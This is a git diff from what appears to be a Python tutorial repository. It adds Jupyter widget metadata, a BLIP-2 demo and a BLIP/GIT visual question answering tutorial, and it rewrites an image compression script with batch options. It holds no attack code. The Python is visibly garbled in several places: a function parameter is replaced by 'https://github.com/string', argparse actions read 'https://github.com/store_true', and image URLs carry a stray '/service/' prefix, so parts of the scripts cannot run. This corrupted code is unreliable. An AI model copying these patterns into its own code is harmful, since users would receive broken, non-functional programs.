+            "value": "Downloading (…)rocessor_config.json: 100%"
+          }
+        },
+        "e995f343b325494d9f315d27ab25ede9": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "e9e7c07fa5544978840f4b5c24372ff0": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_2a334258549d49c7ab12ae3f07f69ea9",
+            "max": 4559,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_63994cb769ce402194b4a70ea1079a3d",
+            "value": 4559
+          }
+        },
+        "edaae38c2fe84bbd830d2cfcd793e2f5": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "f0bf68a25bf7446282f00c22d1093208": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "f58b27200af24c2eb76751b0bff84928": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_edaae38c2fe84bbd830d2cfcd793e2f5",
+            "placeholder": "​",
+            "style": "IPY_MODEL_1338c7844ec64171b0b6f50c6c2740ea",
+            "value": "Downloading bus.png: 100%"
+          }
+        },
+        "f74bcd4d2ab04c6cb3220c2fc64257b1": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_494a7d5322c84f08b713936633c10d8a",
+            "placeholder": "​",
+            "style": "IPY_MODEL_366f53d87c6c4b0aa6fd3d167f01c5c3",
+            "value": "Downloading (…)rocessor_config.json: 100%"
+          }
+        },
+        "f83d235f098a428d9f6519bba64a385f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "f9b7adc37082413f93053106e60eab4d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "f9d5339a3d464d18846f943017f90257": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_e0a6fa485edb419da6b4c33e6d45cd9f",
+            "placeholder": "​",
+            "style": "IPY_MODEL_946e33fee00f4c2aac6406ffe83c419c",
+            "value": " 445/445 [00:00&lt;00:00, 29.9kB/s]"
+          }
+        },
+        "fa8c6a48412a46ed905d105a2cc4f073": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "fb47f6098ea54e828931f1082eddcfc6": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_20052640edfa418fb52d9a6ed8d5e7c5",
+            "max": 125,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_e995f343b325494d9f315d27ab25ede9",
+            "value": 125
+          }
+        },
+        "fb7358b3d7c84e058b333694d793ef98": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "fbe842d741e84880ac53241d2d39a566": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "ff3175e110e94476bf7ed17ef19a0077": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "ff519a1b9a504a13899a49385b6b9564": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_72e9c18021664b9f812916541fc51c7a",
+              "IPY_MODEL_4e9c85779ed3400a8d8b3f14f08770b6",
+              "IPY_MODEL_b11a5cb28f474ba9bd6dc98f5772fcda"
+            ],
+            "layout": "IPY_MODEL_430fa54d746a4743bc162b8e835a093c"
+          }
+        }
+      }
+    }
+  },
+  "nbformat": 4,
+  "nbformat_minor": 0
+}
diff --git a/machine-learning/visual-question-answering/requirements.txt b/machine-learning/visual-question-answering/requirements.txt
new file mode 100644
index 00000000..d1fbebb0
--- /dev/null
+++ b/machine-learning/visual-question-answering/requirements.txt
@@ -0,0 +1,6 @@
+torch
+transformers
+accelerate
+scipy
+requests
+Pillow
\ No newline at end of file
diff --git a/machine-learning/visual-question-answering/running_blip2.py b/machine-learning/visual-question-answering/running_blip2.py
new file mode 100644
index 00000000..2feda202
--- /dev/null
+++ b/machine-learning/visual-question-answering/running_blip2.py
@@ -0,0 +1,78 @@
+# %%
+!pip install transformers accelerate
+
+# %%
+import requests
+from PIL import Image
+from transformers import Blip2Processor, Blip2ForConditionalGeneration
+import torch
+import os
+
+device = torch.device("cuda", 0)
+device
+
+# %%
+processor = Blip2Processor.from_pretrained("Salesforce/blip2-opt-2.7b")
+model = Blip2ForConditionalGeneration.from_pretrained("Salesforce/blip2-opt-2.7b", torch_dtype=torch.float16)
+
+# %%
+model.to(device)
+
+# %%
+import urllib.parse as parse
+import os
+
+# a function to determine whether a string is a URL or not
+def is_url(https://github.com/string):
+    try:
+        result = parse.urlparse(string)
+        return all([result.scheme, result.netloc, result.path])
+    except:
+        return False
+    
+# a function to load an image
+def load_image(image_path):
+    if is_url(https://github.com/image_path):
+        return Image.open(requests.get(image_path, stream=True).raw)
+    elif os.path.exists(image_path):
+        return Image.open(image_path)
+
+# %%
+raw_image = load_image("http://images.cocodataset.org/test-stuff2017/000000007226.jpg")
+
+# %%
+question = "a"
+inputs = processor(raw_image, question, return_tensors="pt").to(device, dtype=torch.float16)
+
+# %%
+out = model.generate(**inputs)
+print(processor.decode(out[0], skip_special_tokens=True))
+
+# %%
+question = "a vintage car driving down a street"
+inputs = processor(raw_image, question, return_tensors="pt").to(device, dtype=torch.float16)
+
+# %%
+out = model.generate(**inputs)
+print(processor.decode(out[0], skip_special_tokens=True))
+
+# %%
+question = "Question: What is the estimated year of these cars? Answer:"
+inputs = processor(raw_image, question, return_tensors="pt").to(device, dtype=torch.float16)
+
+# %%
+out = model.generate(**inputs)
+print(processor.decode(out[0], skip_special_tokens=True))
+
+# %%
+question = "Question: What is the color of the car? Answer:"
+inputs = processor(raw_image, question, return_tensors="pt").to(device, dtype=torch.float16)
+
+# %%
+out = model.generate(**inputs)
+print(processor.decode(out[0], skip_special_tokens=True))
+
+# %%
+
+
+
diff --git a/machine-learning/visual-question-answering/visualquestionanswering_pythoncodetutorial.py b/machine-learning/visual-question-answering/visualquestionanswering_pythoncodetutorial.py
new file mode 100644
index 00000000..b177ef4e
--- /dev/null
+++ b/machine-learning/visual-question-answering/visualquestionanswering_pythoncodetutorial.py
@@ -0,0 +1,262 @@
+# -*- coding: utf-8 -*-
+"""VisualQuestionAnswering_PythonCodeTutorial.ipynb
+
+Automatically generated by Colaboratory.
+
+Original file is located at
+    https://colab.research.google.com/drive/1dM89DgL_hg4K3uiKnTQ-p8rtS05wH_fX
+"""
+
+!pip install -qU transformers
+
+"""# BLIP
+
+- https://github.com/huggingface/transformers/blob/main/src/transformers/models/blip/modeling_blip.py
+- https://huggingface.co/Salesforce/blip-vqa-base/tree/main
+"""
+
+import requests
+from PIL import Image
+from transformers import BlipProcessor, BlipForQuestionAnswering
+import torch
+
+# load the image we will test BLIP on
+img_url = 'https://storage.googleapis.com/sfr-vision-language-research/BLIP/demo.jpg'
+image = Image.open(requests.get(img_url, stream=True).raw).convert('RGB')
+image
+
+# load necessary components: the processor and the model
+processor = BlipProcessor.from_pretrained("Salesforce/blip-vqa-base")
+model = BlipForQuestionAnswering.from_pretrained("Salesforce/blip-vqa-base")
+
+def get_answer_blip(model, processor, image, question):
+    """Answers the given question and handles all the preprocessing and postprocessing steps"""
+    # preprocess the given image and question
+    inputs = processor(image, question, return_tensors="pt")
+    # generate the answer (get output)
+    out = model.generate(**inputs)
+    # post-process the output to get human friendly english text
+    print(processor.decode(out[0], skip_special_tokens=True))
+    return
+
+# sample question 1
+question = "how many dogs are in the picture?"
+get_answer_blip(model, processor, image, question)
+
+# sample question 2
+question = "how will you describe the picture?"
+get_answer_blip(model, processor, image, question)
+
+# sample question 3
+question = "where are they?"
+get_answer_blip(model, processor, image, question)
+
+# sample question 4
+question = "What are they doing?"
+get_answer_blip(model, processor, image, question)
+
+# sample question 5
+question = "What the dog is wearing?"
+get_answer_blip(model, processor, image, question)
+
+class BLIP_VQA:
+    """Custom implementation of the BLIP model. The code has been adapted from the official transformers implementation"""
+
+    def __init__(self, vision_model, text_encoder, text_decoder, processor):
+        """Initialize various objects"""
+        self.vision_model = vision_model
+        self.text_encoder = text_encoder
+        self.text_decoder = text_decoder
+        self.processor = processor
+
+    def preprocess(self, img, ques):
+        """preprocess the inputs: image, question"""
+        # preprocess using the processor
+        inputs = self.processor(img, ques, return_tensors='pt')
+        # store the pixel values of the image, input IDs (i.e., token IDs) of the question and the attention masks separately
+        pixel_values = inputs['pixel_values']
+        input_ids = inputs['input_ids']
+        attention_mask = inputs['attention_mask']
+
+        return pixel_values, input_ids, attention_mask
+
+
+    def generate_output(self, pixel_values, input_ids, attention_mask):
+        """Generates output from the preprocessed input"""
+
+        # get the vision outputs (i.e., the image embeds)
+        vision_outputs = self.vision_model(pixel_values=pixel_values)
+        img_embeds = vision_outputs[0]
+
+        # create attention mask with 1s on all the image embedding positions
+        img_attention_mask = torch.ones(img_embeds.size()[: -1], dtype=torch.long)
+
+        # encode the questions
+        question_outputs = self.text_encoder(input_ids=input_ids,
+                                             attention_mask=attention_mask,
+                                             encoder_hidden_states=img_embeds,
+                                             encoder_attention_mask=img_attention_mask,
+                                             return_dict=False)
+
+        # create attention mask with 1s on all the question token IDs positions
+        question_embeds = question_outputs[0]
+        question_attention_mask = torch.ones(question_embeds.size()[:-1], dtype=torch.long)
+
+        # initialize the answers with the beginning-of-sentence IDs (bos ID)
+        bos_ids = torch.full((question_embeds.size(0), 1), fill_value=30522)
+
+        # get output from the decoder. These outputs are the generated IDs
+        outputs = self.text_decoder.generate(
+            input_ids=bos_ids,
+            eos_token_id=102,
+            pad_token_id=0,
+            encoder_hidden_states=question_embeds,
+            encoder_attention_mask=question_attention_mask)
+
+        return outputs
+
+
+    def postprocess(self, outputs):
+        """post-process the output generated by the text-decoder"""
+
+        return self.processor.decode(outputs[0], skip_special_tokens=True)
+
+
+    def get_answer(self, image, ques):
+        """Returns human friendly answer to a question"""
+
+        # preprocess
+        pixel_values, input_ids, attention_mask = self.preprocess(image, ques)
+        # generate output
+        outputs = self.generate_output(pixel_values, input_ids, attention_mask)
+        # post-process
+        answer = self.postprocess(outputs)
+        return answer
+
+blip_vqa = BLIP_VQA(vision_model=model.vision_model,
+                    text_encoder=model.text_encoder,
+                    text_decoder=model.text_decoder,
+                    processor=processor)
+
+# sample question 1
+ques = "how will you describe the picture?"
+print(blip_vqa.get_answer(image, ques))
+
+# load another image to test BLIP
+img_url = "https://fastly.picsum.photos/id/11/200/200.jpg?hmac=LBGO0uEpEmAVS8NeUXMqxcIdHGIcu0JiOb5DJr4mtUI"
+image = Image.open(requests.get(img_url, stream=True).raw).convert('RGB')
+image
+
+# sample question 1
+ques = "Describe the picture"
+print(blip_vqa.get_answer(image, ques))
+
+# sample question 2
+ques = "What is the major color present?"
+print(blip_vqa.get_answer(image, ques))
+
+# sample question 3
+ques = "How's the weather?"
+print(blip_vqa.get_answer(image, ques))
+
+"""# GIT
+
+- https://github.com/huggingface/transformers/blob/main/src/transformers/models/git/modeling_git.py
+- https://huggingface.co/microsoft/git-base-textvqa
+"""
+
+!pip install -qU transformers
+
+from transformers import AutoProcessor, AutoModelForCausalLM
+from huggingface_hub import hf_hub_download
+from PIL import Image
+
+# load the image we will test GIT on
+file_path = hf_hub_download(repo_id="nielsr/textvqa-sample", filename="bus.png", repo_type="dataset")
+image = Image.open(file_path).convert("RGB")
+image
+
+# load necessary components: the processor and the model
+processor = AutoProcessor.from_pretrained("microsoft/git-base-textvqa")
+model = AutoModelForCausalLM.from_pretrained("microsoft/git-base-textvqa")
+
+class GIT_VQA:
+    """Custom implementation of the GIT model for Visual Question Answering (VQA) tasks."""
+
+    def __init__(self, model, processor):
+        """Initializes the model and the processor."""
+        self.model = model
+        self.processor = processor
+        return
+
+
+    def preprocess(self, image, question):
+        """Preprocesses the inputs: image, question"""
+        # process the image to get pixel values
+        pixel_values = self.processor(images=image, return_tensors="pt").pixel_values
+
+        # process the question to get input IDs, but do not add special tokens
+        input_ids = self.processor(text=question, add_special_tokens=False).input_ids
+
+        # add the CLS token at the beginning of the input_ids and format for model input
+        input_ids = [self.processor.tokenizer.cls_token_id] + input_ids
+        input_ids = torch.tensor(input_ids).unsqueeze(0)
+
+        return pixel_values, input_ids
+
+
+    def generate(self, pixel_values, input_ids):
+        """Generates the output from the preprocessed inputs."""
+
+        # generate output using the model with a maximum length of 50 tokens
+        outputs = self.model.generate(pixel_values=pixel_values, input_ids=input_ids, max_length=50)
+        return outputs
+
+
+    def postprocess(self, outputs):
+        """Post-processes the output generated by the model."""
+
+        # decode the output, ignoring special tokens
+        answer = self.processor.batch_decode(outputs, skip_special_tokens=True)
+        return answer
+
+
+    def get_answer(self, image, question):
+        """Returns human friendly answer to a question"""
+
+        # preprocess
+        pixel_values, input_ids = self.preprocess(image, question)
+        # generate output
+        outputs = self.generate(pixel_values, input_ids)
+        # post-process
+        answer = self.postprocess(outputs)
+        return answer
+
+# create a GIT instance
+git_vqa = GIT_VQA(model=model, processor=processor)
+
+# sample question 1
+question = "what does the front of the bus say at the top?"
+answer = git_vqa.get_answer(image, question)
+print(answer)
+
+# sample question 2
+question = "what are all the colors present on the bus?"
+answer = git_vqa.get_answer(image, question)
+print(answer)
+
+# sample question 3
+question = "How many wheels you see in the bus?"
+answer = git_vqa.get_answer(image, question)
+print(answer)
+
+# load another image to test BLIP
+img_url = "https://fastly.picsum.photos/id/110/500/500.jpg?hmac=wSHhLFNyJ6k3uM94s6etGQ0WWhmwbdUSiZ9ZDL5Hh2Q"
+image = Image.open(requests.get(img_url, stream=True).raw).convert('RGB')
+image
+
+# sample question 1
+question = "Is it night in the image?"
+answer = git_vqa.get_answer(image, question)
+print(answer)
+
diff --git a/python-for-multimedia/compress-image/README.md b/python-for-multimedia/compress-image/README.md
index 32f51450..919414cc 100644
--- a/python-for-multimedia/compress-image/README.md
+++ b/python-for-multimedia/compress-image/README.md
@@ -1,4 +1,56 @@
-# [How to Compress Images in Python](https://www.thepythoncode.com/article/compress-images-in-python)
-To run this:
-- `pip3 install -r requirements.txt`
-- `python compress_image.py --help`
\ No newline at end of file
+# Compress Image
+
+Advanced Image Compressor with Batch Processing
+
+This script provides advanced image compression and resizing features using Python and Pillow.
+
+## Features
+
+- Batch processing of multiple images or directories
+- Lossy and lossless compression (PNG/WebP)
+- Optional JPEG conversion
+- Resize by ratio or explicit dimensions
+- Preserve or strip metadata (EXIF)
+- Custom output directory
+- Progress bar using `tqdm`
+- Detailed logging
+
+## Requirements
+
+- Python 3.6+
+- [Pillow](https://pypi.org/project/Pillow/)
+- [tqdm](https://pypi.org/project/tqdm/)
+
+Install dependencies:
+
+```bash
+pip install pillow tqdm
+```
+
+## Usage
+
+```bash
+python compress_image.py [options] <input> [<input> ...]
+```
+
+## Options
+- `-o`, `--output-dir`: Output directory (default: same as input)
+- `-q`, `--quality`: Compression quality (0-100, default: 85)
+- `-r`, `--resize-ratio`: Resize ratio (0-1, default: 1.0)
+- `-w`, `--width`: Output width (requires `--height`)
+- `-hh`, `--height`: Output height (requires `--width`)
+- `-j`, `--to-jpg`: Convert output to JPEG
+- `-m`, `--no-metadata`: Strip metadata (default: preserve)
+- `-l`, `--lossless`: Use lossless compression (PNG/WEBP)
+
+## Examples
+
+```bash
+python compress_image.py image.jpg -r 0.5 -q 80 -j
+python compress_image.py images/ -o output/ -m
+python compress_image.py image.png -l
+```
+
+## License
+
+MIT License.
diff --git a/python-for-multimedia/compress-image/compress_image.py b/python-for-multimedia/compress-image/compress_image.py
index ed16d06a..f1696aa0 100644
--- a/python-for-multimedia/compress-image/compress_image.py
+++ b/python-for-multimedia/compress-image/compress_image.py
@@ -1,88 +1,104 @@
 import os
 from PIL import Image
+import argparse
+import logging
+from tqdm import tqdm
 
+# Configure logging
+logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
+logger = logging.getLogger(__name__)
 
 def get_size_format(b, factor=1024, suffix="B"):
-    """
-    Scale bytes to its proper byte format
-    e.g:
-        1253656 => '1.20MB'
-        1253656678 => '1.17GB'
-    """
+    """Scale bytes to its proper byte format."""
     for unit in ["", "K", "M", "G", "T", "P", "E", "Z"]:
         if b < factor:
             return f"{b:.2f}{unit}{suffix}"
         b /= factor
     return f"{b:.2f}Y{suffix}"
-    
 
-
-def compress_img(image_name, new_size_ratio=0.9, quality=90, width=None, height=None, to_jpg=True):
-    # load the image to memory
-    img = Image.open(image_name)
-    # print the original image shape
-    print("[*] Image shape:", img.size)
-    # get the original image size in bytes
-    image_size = os.path.getsize(image_name)
-    # print the size before compression/resizing
-    print("[*] Size before compression:", get_size_format(image_size))
-    if new_size_ratio < 1.0:
-        # if resizing ratio is below 1.0, then multiply width & height with this ratio to reduce image size
-        img = img.resize((int(img.size[0] * new_size_ratio), int(img.size[1] * new_size_ratio)), Image.ANTIALIAS)
-        # print new image shape
-        print("[+] New Image shape:", img.size)
-    elif width and height:
-        # if width and height are set, resize with them instead
-        img = img.resize((width, height), Image.ANTIALIAS)
-        # print new image shape
-        print("[+] New Image shape:", img.size)
-    # split the filename and extension
-    filename, ext = os.path.splitext(image_name)
-    # make new filename appending _compressed to the original file name
-    if to_jpg:
-        # change the extension to JPEG
-        new_filename = f"{filename}_compressed.jpg"
-    else:
-        # retain the same extension of the original image
-        new_filename = f"{filename}_compressed{ext}"
+def compress_image(
+    input_path,
+    output_dir=None,
+    quality=85,
+    resize_ratio=1.0,
+    width=None,
+    height=None,
+    to_jpg=False,
+    preserve_metadata=True,
+    lossless=False,
+):
+    """Compress an image with advanced options."""
     try:
-        # save the image with the corresponding quality and optimize set to True
-        img.save(new_filename, quality=quality, optimize=True)
-    except OSError:
-        # convert the image to RGB mode first
-        img = img.convert("RGB")
-        # save the image with the corresponding quality and optimize set to True
-        img.save(new_filename, quality=quality, optimize=True)
-    print("[+] New file saved:", new_filename)
-    # get the new image size in bytes
-    new_image_size = os.path.getsize(new_filename)
-    # print the new size in a good format
-    print("[+] Size after compression:", get_size_format(new_image_size))
-    # calculate the saving bytes
-    saving_diff = new_image_size - image_size
-    # print the saving percentage
-    print(f"[+] Image size change: {saving_diff/image_size*100:.2f}% of the original image size.")
-    
-    
+        img = Image.open(input_path)
+        logger.info(f"[*] Processing: {os.path.basename(input_path)}")
+        logger.info(f"[*] Original size: {get_size_format(os.path.getsize(input_path))}")
+
+        # Resize if needed
+        if resize_ratio < 1.0:
+            new_size = (int(img.size[0] * resize_ratio), int(img.size[1] * resize_ratio))
+            img = img.resize(new_size, Image.LANCZOS)
+            logger.info(f"[+] Resized to: {new_size}")
+        elif width and height:
+            img = img.resize((width, height), Image.LANCZOS)
+            logger.info(f"[+] Resized to: {width}x{height}")
+
+        # Prepare output path
+        filename, ext = os.path.splitext(os.path.basename(input_path))
+        output_ext = ".jpg" if to_jpg else ext
+        output_filename = f"{filename}_compressed{output_ext}"
+        output_path = os.path.join(output_dir or os.path.dirname(input_path), output_filename)
+
+        # Save with options
+        save_kwargs = {"quality": quality, "optimize": True}
+        if not preserve_metadata:
+            save_kwargs["exif"] = b""  # Strip metadata
+        if lossless and ext.lower() in (".png", ".webp"):
+            save_kwargs["lossless"] = True
+
+        try:
+            img.save(output_path, **save_kwargs)
+        except OSError:
+            img = img.convert("RGB")
+            img.save(output_path, **save_kwargs)
+
+        logger.info(f"[+] Saved to: {output_path}")
+        logger.info(f"[+] New size: {get_size_format(os.path.getsize(output_path))}")
+    except Exception as e:
+        logger.error(f"[!] Error processing {input_path}: {e}")
+
+def batch_compress(
+    input_paths,
+    output_dir=None,
+    quality=85,
+    resize_ratio=1.0,
+    width=None,
+    height=None,
+    to_jpg=False,
+    preserve_metadata=True,
+    lossless=False,
+):
+    """Compress multiple images."""
+    if output_dir and not os.path.exists(output_dir):
+        os.makedirs(output_dir, exist_ok=True)
+    for path in tqdm(input_paths, desc="Compressing images"):
+        compress_image(path, output_dir, quality, resize_ratio, width, height, to_jpg, preserve_metadata, lossless)
+
 if __name__ == "__main__":
-    import argparse
-    parser = argparse.ArgumentParser(description="Simple Python script for compressing and resizing images")
-    parser.add_argument("image", help="Target image to compress and/or resize")
-    parser.add_argument("-j", "--to-jpg", action="https://github.com/store_true", help="Whether to convert the image to the JPEG format")
-    parser.add_argument("-q", "--quality", type=int, help="Quality ranging from a minimum of 0 (worst) to a maximum of 95 (best). Default is 90", default=90)
-    parser.add_argument("-r", "--resize-ratio", type=float, help="Resizing ratio from 0 to 1, setting to 0.5 will multiply width & height of the image by 0.5. Default is 1.0", default=1.0)
-    parser.add_argument("-w", "--width", type=int, help="The new width image, make sure to set it with the `height` parameter")
-    parser.add_argument("-hh", "--height", type=int, help="The new height for the image, make sure to set it with the `width` parameter")
+    parser = argparse.ArgumentParser(description="Advanced Image Compressor with Batch Processing")
+    parser.add_argument("input", nargs='+', help="Input image(s) or directory")
+    parser.add_argument("-o", "--output-dir", help="Output directory (default: same as input)")
+    parser.add_argument("-q", "--quality", type=int, default=85, help="Compression quality (0-100)")
+    parser.add_argument("-r", "--resize-ratio", type=float, default=1.0, help="Resize ratio (0-1)")
+    parser.add_argument("-w", "--width", type=int, help="Output width (requires --height)")
+    parser.add_argument("-hh", "--height", type=int, help="Output height (requires --width)")
+    parser.add_argument("-j", "--to-jpg", action="https://github.com/store_true", help="Convert output to JPEG")
+    parser.add_argument("-m", "--no-metadata", action="https://github.com/store_false", help="Strip metadata")
+    parser.add_argument("-l", "--lossless", action="https://github.com/store_true", help="Use lossless compression (PNG/WEBP)")
+
     args = parser.parse_args()
-    # print the passed arguments
-    print("="*50)
-    print("[*] Image:", args.image)
-    print("[*] To JPEG:", args.to_jpg)
-    print("[*] Quality:", args.quality)
-    print("[*] Resizing ratio:", args.resize_ratio)
-    if args.width and args.height:
-        print("[*] Width:", args.width)
-        print("[*] Height:", args.height)
-    print("="*50)
-    # compress the image
-    compress_img(args.image, args.resize_ratio, args.quality, args.width, args.height, args.to_jpg)
\ No newline at end of file
+    input_paths = []
+    for path in args.input:
+        if os.path.isdir(path): input_paths.extend(os.path.join(path, f) for f in os.listdir(path) if f.lower().endswith((".jpg",".jpeg",".png",".webp")))
+        else: input_paths.append(path)
+    if not input_paths: logger.error("No valid images found!"); exit(1)
+    batch_compress(input_paths, args.output_dir, args.quality, args.resize_ratio, args.width, args.height, args.to_jpg, args.no_metadata, args.lossless)
diff --git a/python-for-multimedia/create-video-from-images/README.md b/python-for-multimedia/create-video-from-images/README.md
new file mode 100644
index 00000000..43cce95b
--- /dev/null
+++ b/python-for-multimedia/create-video-from-images/README.md
@@ -0,0 +1 @@
